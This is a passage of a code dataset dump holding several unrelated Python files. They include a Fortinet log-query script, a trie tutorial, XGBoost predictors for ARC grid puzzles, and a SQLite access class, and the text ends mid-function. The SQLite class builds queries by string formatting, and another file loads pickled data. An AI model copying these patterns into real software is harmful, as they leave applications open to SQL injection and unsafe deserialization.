argv is None:\n argv = sys.argv\n\n parser = argparse.ArgumentParser(\n prog=\"mtsv-plugin\",\n description=\"Plugins and extensions to MTSv\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.set_defaults(timestamp=datetime.datetime.now().strftime(\n '%Y-%m-%d_%H-%M-%S'))\n \n subparsers = parser.add_subparsers(\n title=\"commands\", metavar=\"COMMANDS\",\n help=\"Plugin Commands\"\n )\n\n for command, cmd_class in COMMANDS.items():\n make_sub_parser(\n subparsers, command, cmd_class\n )\n \n # Return help if no command is passed\n if len(argv)==1:\n parser.print_help(sys.stdout)\n sys.exit(0)\n try:\n setup_and_run(argv, parser)\n except KeyboardInterrupt:\n error(\"\\n-- Stopped by user --\", exception=False)\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"mtsv/mtsv_plugin/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"598787220","text":"#!/usr/bin/env python\n\nimport sys\nsys.path.append(r'/home/dan/python35/trigger35')\n\n\"\"\"\ncommando_reactorless.py - Running multiple Commando's in the same script\n\"\"\"\nimport sys\nsys.path.append(r'/home/dan/python35/trigger35')\n\nfrom trigger.cmds import ReactorlessCommando\nfrom trigger.tacacsrc import get_device_password\nfrom trigger.netdevices import NetDevices\nfrom twisted.internet import reactor, defer\nfrom twisted.python import log\n\nclass diagDebug(ReactorlessCommando):\n def to_fortinet(self, dev, commands=None, extra=None):\n self.creds=get_device_password('fortinet')\n commands = [b'config log memory setting',\n b'set status enable',\n b'end',\n b'get log memory filter',\n b'config log memory filter',\n b'set severity information',\n b'end',\n b'execute log filter field srcip '+sys.argv[1].encode('utf-8'),\n b'execute log display'\n ]\n return commands\n\n\ndef stop_reactor(result):\n if reactor.running:\n log.msg('STOPPING REACTOR!')\n reactor.stop()\n return result\n\n\ndef printResults(cmd):\n for c_id, c_info in cmd.results.items():\n for key in c_info:\n print(\"DEV: {} CMD: {}\\n{}\".format(c_id,\n key.decode('utf-8'),\n c_info[key].decode('utf-8')))\n\n\nif __name__ == '__main__':\n\n #c1 = showUserSessionList(['fortinet'], commands=sys.argv[1].encode('utf-8') )\n c1 = diagDebug(['fortinet'], )\n instances = [c1]\n deferreds = []\n for i in instances:\n deferreds.append(i.run())\n\n d = defer.DeferredList(deferreds)\n d.addBoth(stop_reactor)\n reactor.run()\n\n for i in instances:\n printResults(i)\n","sub_path":"bin/exec_log_display.py","file_name":"exec_log_display.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"527468792","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Building a Trie in Python\n# \n# Before we start let us reiterate the key components of a Trie or Prefix Tree. A trie is a tree-like data structure that stores a dynamic set of strings. Tries are commonly used to facilitate operations like predictive text or autocomplete features on mobile phones or web search.\n# \n# Before we move into the autocomplete function we need to create a working trie for storing strings. We will create two classes:\n# * A `Trie` class that contains the root node (empty string)\n# * A `TrieNode` class that exposes the general functionality of the Trie, like inserting a word or finding the node which represents a prefix.\n# \n# Give it a try by implementing the `TrieNode` and `Trie` classes below!\n\n# In[10]:\n\n\n## Represents a single node in the Trie\nclass TrieNode:\n def __init__(self, char='', is_word=False):\n ## Initialize this node in the Trie\n self.char = char\n self.is_word = is_word\n self.children = {}\n \n def insert(self, char):\n ## Add a child node in this Trie\n self._insert_helper(char)\n \n def _insert_helper(self, value):\n if len(value) == 0:\n return\n char = value[0]\n child = None\n if char in self.children:\n child = self.children[char]\n if child:\n return child._insert_helper(value[1:])\n self.children[char] = TrieNode(char)\n \n \n## The Trie itself containing the root node and insert/find functions\nclass Trie:\n def __init__(self):\n ## Initialize this Trie (add a root node)\n self.root = TrieNode()\n\n def insert(self, word):\n ## Add a word to the Trie\n self.root.insert(word)\n\n def find(self, prefix):\n ## Find the Trie node that represents this prefix\n node = self.root\n string = ''\n for char in prefix:\n if char in node.children:\n node = node.children[char]\n else:\n return None\n return node\n \n\n\n# # Finding Suffixes\n# \n# Now that we have a functioning Trie, we need to add the ability to list suffixes to implement our autocomplete feature. To do that, we need to implement a new function on the `TrieNode` object that will return all complete word suffixes that exist below it in the trie. For example, if our Trie contains the words `[\"fun\", \"function\", \"factory\"]` and we ask for suffixes from the `f` node, we would expect to receive `[\"un\", \"unction\", \"actory\"]` back from `node.suffixes()`.\n# \n# Using the code you wrote for the `TrieNode` above, try to add the suffixes function below. (Hint: recurse down the trie, collecting suffixes as you go.)\n\n# In[87]:\n\n\nclass TrieNode:\n def __init__(self, char='', is_word=False):\n ## Initialize this node in the Trie\n self.char = char\n self.is_word = is_word\n self.children = {}\n \n def insert(self, word):\n ## Add a child node in this Trie\n self._insert_helper(word)\n \n def _insert_helper(self, value):\n if len(value) == 0:\n return\n char = value[0]\n child = None\n if char in self.children:\n child = self.children[char]\n if child:\n return child._insert_helper(value[1:])\n child = TrieNode(char)\n self.children[char] = child\n if len(value) == 1:\n child.is_word = True\n child._insert_helper(value[1:])\n \n def suffixes(self, suffix = ''):\n ## Recursive function that collects the suffix for \n ## all complete words below this point\n return_list = []\n for el in list(self.children.values()):\n el._suffixes_helper(return_list, '', el.is_word)\n return return_list\n \n def _suffixes_helper(self, return_list, suffix, is_word):\n suffix += self.char\n list_nodes = list(self.children.values())\n if is_word:\n return_list.append(suffix)\n for el in list_nodes:\n el._suffixes_helper(return_list, suffix, el.is_word)\n return return_list\n\n\n# # Testing it all out\n# \n# Run the following code to add some words to your trie and then use the interactive search box to see what your code returns.\n\n# In[88]:\n\n\nMyTrie = Trie()\nwordList = [\n \"ant\", \"anthology\", \"antagonist\", \"antonym\", \n \"fun\", \"function\", \"factory\", \n \"trie\", \"trigger\", \"trigonometry\", \"tripod\"\n]\nfor word in wordList:\n MyTrie.insert(word)\n\n\n# In[89]:\n\n\nfrom ipywidgets import widgets\nfrom IPython.display import display\nfrom ipywidgets import interact\ndef f(prefix):\n if prefix != '':\n prefixNode = MyTrie.find(prefix)\n #print(prefixNode.suffixes() if prefixNode else None)\n if prefixNode:\n print('\\n'.join(prefixNode.suffixes()))\n else:\n print(prefix + \" not found\")\n else:\n print('')\ninteract(f,prefix='');\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"src/p5_trie.py","file_name":"p5_trie.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"493483059","text":"\"\"\"\nModule for holding the CompoundAction class. Loads all CompoundActions from the library.\n\"\"\"\n\n__author__ = 'Max'\n\n\nimport cPickle as pickle\nimport os\nimport mylists\n\n__PATH_TO_ACTION_LIB = os.path.dirname(os.path.realpath(__file__))\n__ACTION_LIB = os.path.join(__PATH_TO_ACTION_LIB, \"actionlib.aclib\")\n\n\nclass CompoundAction():\n \"\"\"\n Class for representing a compound action - an action that is made up of (potentially) other compound actions\n and elementary actions as well as arbitrary Arduino C code.\n \"\"\"\n def __init__(self):\n \"\"\"\n Constructor\n :rtype: void\n :return: void\n \"\"\"\n self.__libs = [] # The libraries that this compound action requires the arduino to import in order to work\n self.__devs = [] # Needed devices (the names of them)\n self.__elem_actions = [] # Elementary actions that this action relies on\n self.__compound_actions = [] # Compound actions that this action relies on\n self.__as_code = [] # The compound action as lines of code that can be written to an Arduino file\n\n\ndef save_all_compoundactions(all_compound_actions):\n \"\"\"\n Overwrites the compound action library with the given list of compound actions.\n :param all_compound_actions: The list of compound actions\n :rtype: void\n :return: void\n \"\"\"\n pickle.dump(all_compound_actions, open(__ACTION_LIB, 'wb'))\n\n\ndef get_all_compoundactions_from_lib():\n \"\"\"\n Gets all the compound actions from the library and returns them as a list of CompoundAction objects.\n :rtype: list\n :return: The list of CompoundAction objects from the library.\n \"\"\"\n try:\n actions = pickle.load(open(__ACTION_LIB, 'rb'))\n actions = mylists.flatten(actions)\n return actions\n except EOFError:\n return []\n","sub_path":"ArtieEditor/compoundaction.py","file_name":"compoundaction.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"335245393","text":"\"\"\"\nBased on https://www.kaggle.com/meaninglesslives/using-decision-trees-for-arc\n\"\"\"\nfrom xgboost import XGBClassifier\nfrom itertools import product\nimport itertools\nfrom skimage.measure import label\nimport numpy as np\n\nfrom base.field import Field\nfrom base.iodata import IOData\nfrom base.utils import *\n\nfrom predictors.basic import *\nfrom operations.basic import Repaint\nfrom operations.reversible import *\nfrom operations.field2point import ComplexSummarizeOperation\n\n\nclass BTFeatureExtractor:\n @staticmethod\n def get_moore_neighbours(field, cur_row, cur_col, nrows, ncols, color=0):\n if cur_row <= 0:\n top = color\n else:\n top = field.data[cur_row - 1, cur_col]\n \n if cur_row >= nrows - 1:\n bottom = color\n else:\n bottom = field.data[cur_row + 1, cur_col]\n \n if cur_col <= 0:\n left = color\n else:\n left = field.data[cur_row, cur_col - 1]\n \n if cur_col >= ncols - 1:\n right = color\n else:\n right = field.data[cur_row, cur_col + 1]\n \n return top, bottom, left, right\n\n @staticmethod\n def get_tl_tr(field, cur_row, cur_col, nrows, ncols, color=0):\n if cur_row == 0:\n top_left = color\n top_right = color\n else:\n if cur_col == 0:\n top_left = color\n else:\n top_left = field.data[cur_row - 1, cur_col - 1]\n if cur_col == ncols - 1:\n top_right = color\n else:\n top_right = field.data[cur_row - 1, cur_col + 1] \n \n return top_left, top_right\n \n @staticmethod\n def getAround(i, j, inp, size=1):\n #v = [-1,-1,-1,-1,-1,-1,-1,-1,-1]\n r, c = inp.shape\n v = []\n sc = [0]\n for q in range(size):\n sc.append(q + 1)\n sc.append(-(q+1))\n for idx, (x,y) in enumerate(product(sc, sc)):\n ii = (i+x)\n jj = (j+y)\n #v.append(-1)\n new_el = inp.data[ii, jj] if((0<= ii < r) and (0<= jj < c)) else -1\n v.append(new_el)\n return v\n \n @classmethod\n def getX(cls, inp, i, j, size):\n n_inp = inp.data\n z = [i, j]\n r, c = inp.shape\n \n for m in range(5):\n z.append(i % (m + 1))\n z.append(j % (m + 1))\n z.append(i + j)\n z.append(i * j)\n # z.append(i%j)\n # z.append(j%i)\n z.append((i+1)/(j+1))\n z.append((j+1)/(i+1))\n z.append(r)\n z.append(c)\n z.append(len(np.unique(n_inp[i,:])))\n z.append(len(np.unique(n_inp[:,j])))\n arnd = cls.getAround(i,j,inp,size)\n z.append(len(np.unique(arnd)))\n z.extend(arnd)\n return z\n\n @staticmethod\n def make_features(field, nfeat=13, local_neighb=5, all_square=False):\n nrows, ncols = field.shape\n #feat = np.zeros((nrows*ncols, nfeat))\n all_features = []\n cur_idx = 0\n for i in range(nrows):\n for j in range(ncols):\n color = field.data[i, j]\n features = [\n i,\n j,\n i*j,\n field.data[i, j]]\n features.extend(\n BTFeatureExtractor.get_moore_neighbours(field, i, j, nrows, ncols))\n features.extend(\n BTFeatureExtractor.get_tl_tr(field, i, j, nrows, ncols))\n features.extend([\n len(np.unique(field.data[i,:])),\n len(np.unique(field.data[:,j])),\n #next goes count of non-zero points\n np.sum(field.data[i, :] > 0),\n np.sum(field.data[:, j] > 0),\n (i+j),\n len(np.unique(field.data[\n i-local_neighb:i+local_neighb,\n j-local_neighb:j+local_neighb]))\n ])\n \n #feat[cur_idx,13]\n features.extend([\n (i + ncols - j - 1),\n (i + j) % 2,\n (i + j + 1) % 2,\n (i + ncols - j - 1) % 2, #\n (nrows - 1 - i + ncols - j - 1),#\n (nrows - 1 - i + j) #\n ])\n features.extend([\n field.get(i + k, j + v)\n for k, v in product([-1, 0, 1], [-1, 0, 1])\n ])\n features.extend([\n field.data[nrows - 1 - i, j],\n field.data[nrows - 1 - i, ncols - 1 - j],\n field.data[i, ncols - 1 - j]\n ])\n if all_square: #and field.data.shape[0] == field.data.shape[1]:\n features.extend([\n field.get(j, i),\n field.get(j, nrows - 1 - i),\n field.get(ncols - 1 - j, nrows - 1 - i),\n field.get(ncols - 1 - j, i)\n ])\n features.extend([\n field.data[i, j] != 0,\n np.sum([ field.get(i+k, j+v) == color\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == color,\n field.get(i - 1, j) == color,\n field.get(i, j + 1) == color,\n field.get(i, j - 1) == color\n ]),\n #next were commented\n np.sum([ field.get(i + k, j + v) == 0\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == 0,\n field.get(i - 1, j) == 0,\n field.get(i, j + 1) == 0,\n field.get(i, j - 1) == 0\n ])\n ])\n all_features.append(features)\n\n feat = np.asarray(all_features)\n return feat\n\n @classmethod\n def make_features_v2(cls, field, nfeat=13, local_neighb=5, all_square=False):\n nrows, ncols = field.shape\n #feat = np.zeros((nrows*ncols, nfeat))\n all_features = []\n regions = [label(field.data==i) for i in range(10)]\n cur_idx = 0\n for i in range(nrows):\n for j in range(ncols):\n color = field.data[i, j]\n features = [\n i,\n j,\n i*j,\n field.data[i, j]]\n \n for m in range(1, 6):\n features.extend([\n i % m,\n j % m\n ])\n features.extend([\n (i+1)/(j+1),\n (j+1)/(i+1),\n nrows, ncols\n ])\n for size in [1, 3, 5]:\n arnd = cls.getAround(i,j, field, size)\n features.append(len(np.unique(arnd)))\n features.extend(arnd)\n features.extend(\n BTFeatureExtractor.get_moore_neighbours(field, i, j, nrows, ncols))\n features.extend(\n BTFeatureExtractor.get_tl_tr(field, i, j, nrows, ncols))\n features.extend([\n len(np.unique(field.data[i,:])),\n len(np.unique(field.data[:,j])),\n #next goes count of non-zero points\n np.sum(field.data[i, :] > 0),\n np.sum(field.data[:, j] > 0),\n (i+j),\n len(np.unique(field.data[\n i-local_neighb:i+local_neighb,\n j-local_neighb:j+local_neighb]))\n ])\n \n #feat[cur_idx,13]\n features.extend([\n (i + ncols - j - 1),\n (i + j) % 2,\n (i + j + 1) % 2,\n (i + ncols - j - 1) % 2, #\n (nrows - 1 - i + ncols - j - 1) % 2,#\n (nrows - 1 - i + j) % 2 #\n ])\n features.extend([\n field.get(i + k, j + v)\n for k, v in product([-1, 0, 1], [-1, 0, 1])\n ])\n features.extend([\n field.data[nrows - 1 - i, j],\n field.data[nrows - 1 - i, ncols - 1 - j],\n field.data[i, ncols - 1 - j]\n ])\n if all_square: #and field.data.shape[0] == field.data.shape[1]:\n features.extend([\n field.get(j, i),\n field.get(j, nrows - 1 - i),\n field.get(ncols - 1 - j, nrows - 1 - i),\n field.get(ncols - 1 - j, i)\n ])\n features.extend([\n field.data[i, j] != 0,\n np.sum([ field.get(i+k, j+v) == color\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == color,\n field.get(i - 1, j) == color,\n field.get(i, j + 1) == color,\n field.get(i, j - 1) == color\n ]),\n #next were commented\n np.sum([ field.get(i + k, j + v) == 0\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == 0,\n field.get(i - 1, j) == 0,\n field.get(i, j + 1) == 0,\n field.get(i, j - 1) == 0\n ])\n ])\n all_features.append(features)\n\n feat = np.asarray(all_features)\n return feat\n\n @classmethod\n def make_features_v3(cls, field, nfeat=13, local_neighb=5, all_square=False):\n nrows, ncols = field.shape\n prop_names = \"h w is_convex is_rectangular is_square holes contour_size interior_size\".split()+\\\n [f\"flip_{i}\" for i in range(10)] + [f\"flip_conv_{i}\" for i in range(10)]\n \n regions0 = get_data_regions(field.data)\n params0, maps0 = get_region_params(regions0)\n \n regions1 = get_data_regions(field.data, connectivity=1)\n params1, maps1 = get_region_params(regions1, connectivity=1)\n\n #feat = np.zeros((nrows*ncols, nfeat))\n all_features = []\n regions = [label(field.data==i) for i in range(10)]\n cur_idx = 0\n for i in range(nrows):\n for j in range(ncols):\n rid0 = regions0[i, j]\n rid1 = regions1[i, j]\n \n color = field.data[i, j]\n features = [\n i,\n j,\n i*j,\n field.data[i, j]]\n features.extend([params0[rid0][n] for n in prop_names])\n features.extend([params1[rid1][n] for n in prop_names])\n features.append(maps0[rid0]['contour'][i, j])\n features.append(maps0[rid0]['interior'][i, j])\n features.append(maps1[rid1]['contour'][i, j])\n features.append(maps1[rid1]['interior'][i, j])\n \n for m in range(1, 6):\n features.extend([\n i % m,\n j % m\n ])\n features.extend([\n (i+1)/(j+1),\n (j+1)/(i+1),\n nrows, ncols\n ])\n for size in [1, 3, 5]:\n arnd = cls.getAround(i,j, field, size)\n features.append(len(np.unique(arnd)))\n features.extend(arnd)\n features.extend(\n BTFeatureExtractor.get_moore_neighbours(field, i, j, nrows, ncols))\n features.extend(\n BTFeatureExtractor.get_tl_tr(field, i, j, nrows, ncols))\n features.extend([\n len(np.unique(field.data[i,:])),\n len(np.unique(field.data[:,j])),\n #next goes count of non-zero points\n np.sum(field.data[i, :] > 0),\n np.sum(field.data[:, j] > 0),\n (i+j),\n len(np.unique(field.data[\n i-local_neighb:i+local_neighb,\n j-local_neighb:j+local_neighb]))\n ])\n \n #feat[cur_idx,13]\n features.extend([\n (i + ncols - j - 1),\n (i + j) % 2,\n (i + j + 1) % 2,\n (i + ncols - j - 1) % 2, #\n (nrows - 1 - i + ncols - j - 1) % 2,#\n (nrows - 1 - i + j) % 2 #\n ])\n features.extend([\n field.get(i + k, j + v)\n for k, v in product([-1, 0, 1], [-1, 0, 1])\n ])\n features.extend([\n field.data[nrows - 1 - i, j],\n field.data[nrows - 1 - i, ncols - 1 - j],\n field.data[i, ncols - 1 - j]\n ])\n if all_square: #and field.data.shape[0] == field.data.shape[1]:\n features.extend([\n field.get(j, i),\n field.get(j, nrows - 1 - i),\n field.get(ncols - 1 - j, nrows - 1 - i),\n field.get(ncols - 1 - j, i)\n ])\n features.extend([\n field.data[i, j] != 0,\n np.sum([ field.get(i+k, j+v) == color\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == color,\n field.get(i - 1, j) == color,\n field.get(i, j + 1) == color,\n field.get(i, j - 1) == color\n ]),\n #next were commented\n np.sum([ field.get(i + k, j + v) == 0\n for k, v in product([-1, 1], [-1, 1])]),\n np.sum([\n field.get(i + 1, j) == 0,\n field.get(i - 1, j) == 0,\n field.get(i, j + 1) == 0,\n field.get(i, j - 1) == 0\n ])\n ])\n all_features.append(features)\n\n feat = np.asarray(all_features)\n return feat\n\n @staticmethod\n def get_features(iodata_list, all_square=False, features_maker=make_features):\n feat = []\n target = []\n \n for i, iodata in enumerate(iodata_list):\n if isinstance(iodata, IOData):\n input_field = iodata.input_field.data\n output_field = iodata.output_field.data\n else:\n input_field, output_field = iodata\n input_field = input_field.data\n output_field = output_field.data\n nrows, ncols = input_field.shape\n #output_field = output_field.data\n\n target_rows, target_cols = output_field.shape\n if output_field.shape == (1, 1): #and input_field.shape != output_field.shape:\n #print(input_field.shape)\n #print(input_field)\n output_field = increase2shape(output_field, input_field.shape)\n # i = np.asarray([[ np.sum(input_field == i) for i in range(10)]])\n # o = output_field\n # print(i.shape, o.shape)\n # feat.extend(i)\n # target.extend(o)\n # continue\n elif (target_rows != nrows) or (target_cols != ncols):\n print('Number of input rows:', nrows,'cols:',ncols)\n print('Number of target rows:',target_rows,'cols:',target_cols)\n not_valid=1\n return None, None, 1\n\n feat.extend(features_maker(\n Field(input_field),\n all_square=all_square))\n target.extend(np.array(output_field).reshape(-1,))\n return np.array(feat), np.array(target), 0\n\n\ndef get_augmented_iodata(i, o):\n values = list(set(np.unique(i)) | set(np.unique(o)))\n permutations = list(set(tuple(np.random.permutation(len(values))) for k in range(5)))\n for permutation in permutations:\n rv = {k: values[v] for k, v in zip(values, permutation)}\n inp = np.asarray([[rv[x] for x in line] for line in i])\n out = np.asarray([[rv[x] for x in line] for line in o])\n yield Field(inp), Field(out)\n\n\nclass BoostingTreePredictor(Predictor, AvailableEqualShape):\n def __init__(self):\n self.xgb = XGBClassifier(n_estimators=100, booster=\"dart\", n_jobs=-1,\n objective=\"multi:softmax\", num_class=10)\n\n def train(self, iodata_list):\n self.all_square = np.all([\n iodata.input_field.shape[0] == iodata.output_field.shape[1]\n for iodata in iodata_list\n ])\n iodata_list_ = list(\n itertools.chain(*[\n get_augmented_iodata(\n iodata.input_field.data, iodata.output_field.data\n )\n for iodata in iodata_list\n ]))\n feat, target, _ = BTFeatureExtractor.get_features(\n iodata_list, all_square=self.all_square,\n features_maker=BTFeatureExtractor.make_features_v3\n )\n self.xgb.fit(feat, target, verbose=-1)\n\n def predict(self, field):\n if isinstance(field, IOData):\n for v in self.predict(field.input_field):\n yield v\n return\n #repainter = Repaint(field.data)\n nrows, ncols = field.shape\n feat = BTFeatureExtractor.make_features_v3(field, all_square=self.all_square)\n preds = self.xgb.predict(feat).reshape(nrows, ncols)\n preds = preds.astype(int)#.tolist()\n #preds = field.reconstruct(Field(preds))\n #preds = repainter(preds).tolist()\n preds = Field(preds)\n yield preds\n\n def __str__(self):\n return \"BoostingTreePredictor()\"\n \n\nclass BoostingTreePredictor2(Predictor):\n \"\"\"This class needs renaming:\n actually it takes image, splits it to subparts and then tries to use single pixel for each image.\n \"\"\"\n def __init__(self):\n self.xgb = XGBClassifier(n_estimators=10, booster=\"dart\", n_jobs=-1,\n objective=\"multi:softmax\", num_class=10) # currently not in use\n self.bgr_color = None\n self.simple_operation = ComplexSummarizeOperation()\n\n def is_available(self, iodata_list):\n all_sizes = set()\n for iodata in iodata_list:\n if iodata.input_field.height <= iodata.output_field.height or \\\n iodata.input_field.width <= iodata.output_field.width:\n return False\n m1 = iodata.output_field.height # // iodata.input_field.height\n m2 = iodata.output_field.width # // iodata.input_field.width\n all_sizes.add((m1, m2))\n if len(all_sizes) == 1:\n h, w = all_sizes.pop()\n if w > 1 and h > 1:\n self.m1 = h\n self.m2 = w\n self.op = WrappedOperation(\n ReversibleSplit((h, w)),\n ReversibleCombine((h, w)))\n return True\n\n return False\n\n def get_bgr_color(self, iodata_list):\n features = np.asarray([[np.sum(x[0].data == i) for i in range(10)] for x in iodata_list])\n targets = np.asarray([[np.sum(x[1].data == i) for i in range(10)] for x in iodata_list])\n ids = np.sum(features > 0, 1) > 1\n bgr = (targets[ids] == 0)*features[ids]\n bgr_color = np.argwhere(bgr.sum(0)).flatten()\n return bgr_color\n\n def get_bgr_color_by_features(self, features):\n #print(features)\n #features = np.asarray([[np.sum(x[0].data == i) for i in range(10)] for x in iodata_list])\n #targets = np.asarray([[np.sum(x[1].data == i) for i in range(10)] for x in iodata_list])\n colors = np.argmax(features, 1)\n \n return np.unique(colors)\n \n def get_target_color(self, features, bgr_color):\n a = np.argwhere(features > 0).flatten()\n for x in a:\n if not x in bgr_color:\n return x\n for xs in [a, bgr_color, [0]]:\n if len(xs) > 0:\n return xs[0]\n\n def train(self, iodata_list):\n all_samples = []\n for iodata in iodata_list:\n i, o = self.op.wrap(iodata)\n all_samples.append((i, o))\n self.simple_operation.train(all_samples)\n #print(all_samples)\n #print(all_samples)\n ##self.bgr_color = self.get_bgr_color(all_samples)\n #for (i, o) in all_samples:\n # print(i.shape, o.shape)\n ##feat, target, _ = BTFeatureExtractor.get_features(all_samples)\n # print(feat.shape, target.shape)\n ##self.xgb.fit(feat, target, verbose=-1)\n\n def predict(self, field):\n if isinstance(field, IOData):\n for v in self.predict(field.input_field):\n yield v\n return\n #repainter = Repaint(field.data)\n nrows, ncols = field.shape\n feature_field, postprocess = self.op.run(field)\n #for line in feature_field:\n # for x in line:\n # print(x.data)\n #print(field.shape, self.m1, self.m2)\n #print(feature_field)\n features = np.asarray([\n [np.sum(x.data==c) for c in range(10)]\n for x in feature_field.flat_iter()])\n \n bg = self.get_bgr_color_by_features(features)\n bg = bg[0] if len(bg) > 0 else None\n def make_subfield_func(bg):\n #features = [np.sum(x == c) for c in range(10)]\n return lambda x: self.simple_operation.do(x, bg=bg)\n o = feature_field.map(make_subfield_func(bg))\n # \n # features = np.asarray([ [ np.sum(x == c) for c in range(10)]\n # for l in feature_field for x in l])\n # bg = self.get_bgr_color_by_features(features)\n # #print(features)\n # #print(bg[0])\n # bg = bg[0] if len(bg) > 0 else None\n # o = [\n # [\n # self.simple_operation.do(x.data, bg=bg) for x in line\n # ]\n # for line in feature_field\n # ]\n \n result = postprocess(o)\n yield result\n #return\n # all_lines = []\n # if self.bgr_color is not None and len(self.bgr_color) > 0:\n # features = np.asarray([\n # [ np.sum(x.data == i) for i in range(10)]\n # for line in feature_field for x in line\n # ])\n # #print(features.shape)\n # bgr_color = self.get_bgr_color_by_features(features)\n # #print(bgr_color)\n # for line in feature_field:\n # line_result = []\n # for x in line:\n # features = np.asarray([ np.sum(x.data == i) for i in range(10)])\n # #bgr_color = self.get_bgr_color_by_features(features)\n # color = self.get_target_color(features, bgr_color=bgr_color)\n # preds = Field([[color]])\n # line_result.append(preds)\n # all_lines.append(line_result)\n # result = postprocess(all_lines)\n # yield result\n # return\n # for line in feature_field:\n # line_result = []\n # for x in line:\n # nrows, ncols = x.shape\n # feat = BTFeatureExtractor.make_features(x)\n # features = np.asarray([ np.sum(x.data) == i for i in range(10)])\n # \n # preds = self.xgb.predict(feat).reshape(nrows, ncols)\n # preds = preds.astype(int)#.tolist()\n # #preds = field.reconstruct(Field(preds))\n # preds = [[decrease2color(preds)]]\n # if self.bgr_color is not None:\n # #print(self.bgr_color)\n # #bgr_color = self.get_bgr_color(all_samples)\n # color = self.get_target_color(features, self.bgr_color)\n # preds = Field([[color]])\n # line_result.append(preds)\n # all_lines.append(line_result)\n # result = postprocess(all_lines)\n # #result = repainter(preds).tolist()\n # yield result\n\n def __str__(self):\n return \"BoostingTreePredictor2()\"\n \n\nclass BoostingTreePredictor3(Predictor, AvailableEqualShape):\n def __init__(self):\n self.xgb = XGBClassifier(n_estimators=100, booster=\"dart\", n_jobs=-1,\n objective=\"multi:softmax\", num_class=10)\n\n def train(self, iodata_list):\n self.all_square = np.all([\n iodata.input_field.shape[0] == iodata.output_field.shape[1]\n for iodata in iodata_list\n ])\n iodata_list_ = list(\n itertools.chain(*[\n get_augmented_iodata(\n iodata.input_field.data, iodata.output_field.data\n )\n for iodata in iodata_list\n ]))\n feat, target, _ = BTFeatureExtractor.get_features(\n iodata_list, all_square=self.all_square,\n features_maker=BTFeatureExtractor.make_features_v3)\n #print(feat.shape, target.shape)\n self.xgb.fit(feat, target, verbose=-1)\n\n def predict(self, field):\n if isinstance(field, IOData):\n for v in self.predict(field.input_field):\n yield v\n return\n #repainter = Repaint(field.data)\n nrows, ncols = field.shape\n feat = BTFeatureExtractor.make_features_v3(field, all_square=self.all_square)\n preds = self.xgb.predict(feat).reshape(nrows, ncols)\n preds = preds.astype(int)#.tolist()\n #preds = field.reconstruct(Field(preds))\n #preds = repainter(preds).tolist()\n preds = Field(preds)\n yield preds\n\n def __str__(self):\n return \"BoostingTreePredictor3()\"","sub_path":"predictors/boosting_tree.py","file_name":"boosting_tree.py","file_ext":"py","file_size_in_byte":26543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"549970395","text":"# -*- coding: utf-8 -*-\r\n\r\nimport sqlite3\r\nfrom datetime import datetime\r\n\r\nNAME_DB = r\"db_KIND11-240.sqlite\"\r\n\r\n\r\nclass DBModel:\r\n\r\n def __init__(self):\r\n self.connect = sqlite3.connect(NAME_DB)\r\n self.cursor = self.connect.cursor()\r\n\r\n def __del__(self):\r\n self.cursor.close()\r\n self.connect.close()\r\n\r\n def get_user_names(self):\r\n users = []\r\n query = 'SELECT name FROM regulator'\r\n self.cursor.execute(query)\r\n for name in self.cursor.fetchall():\r\n users.append(name[0])\r\n return users\r\n\r\n def get_now_theta(self, id_preaging, step):\r\n query = 'SELECT theta_y, theta_z FROM steps WHERE ' \\\r\n 'id_preaging = \"{id_preaging}\" AND step = \"{step}\"'\\\r\n .format(id_preaging=id_preaging, step=step)\r\n self.cursor.execute(query)\r\n theta_y, theta_z = self.cursor.fetchall()[0]\r\n return theta_y, theta_z\r\n\r\n def get_preaging(self, id_preaging):\r\n query = 'SELECT * FROM preaging WHERE ' \\\r\n 'id = \"{id_preaging}\"'\\\r\n .format(id_preaging=id_preaging)\r\n self.cursor.execute(query)\r\n return self.cursor.fetchall()[0]\r\n\r\n def get_steps(self, id_preaging):\r\n query = 'SELECT * FROM steps WHERE ' \\\r\n 'id_preaging = \"{id_preaging}\"'\\\r\n .format(id_preaging=id_preaging)\r\n self.cursor.execute(query)\r\n return self.cursor.fetchall()\r\n\r\n def get_list_history(self):\r\n query = 'SELECT id, name, datetime, number_device, number_up, number_middle, number_down FROM preaging'\r\n self.cursor.execute(query)\r\n return self.cursor.fetchall()\r\n\r\n def insert_preaging(self, name, device_number,\r\n angle_up, angle_middle, angle_down,\r\n number_up, number_middle, number_down):\r\n now = datetime.now()\r\n query = 'INSERT INTO preaging VALUES((SELECT max(id) FROM preaging)+1,'\\\r\n ' \"{name}\", \"{now}\", \"{device_number}\",' \\\r\n ' {angle_up}, {angle_middle}, {angle_down},' \\\r\n ' \"{number_up}\", \"{number_middle}\", \"{number_down}\")'\\\r\n .format(name=name,\r\n now=now,\r\n device_number=device_number,\r\n angle_up=angle_up,\r\n angle_middle=angle_middle,\r\n angle_down=angle_down,\r\n number_up=number_up,\r\n number_middle=number_middle,\r\n number_down=number_down\r\n )\r\n self.cursor.execute(query)\r\n self.connect.commit()\r\n query_get_id = 'SELECT id FROM preaging WHERE name = \"{name}\" AND datetime = \"{now}\"'\\\r\n .format(name=name, now=now)\r\n self.cursor.execute(query_get_id)\r\n return self.cursor.fetchall()[0][0] #return id\r\n\r\n def insert_step(self, id_preading, step, betas, bores, theta_y, theta_z,\r\n theta_y_bores, 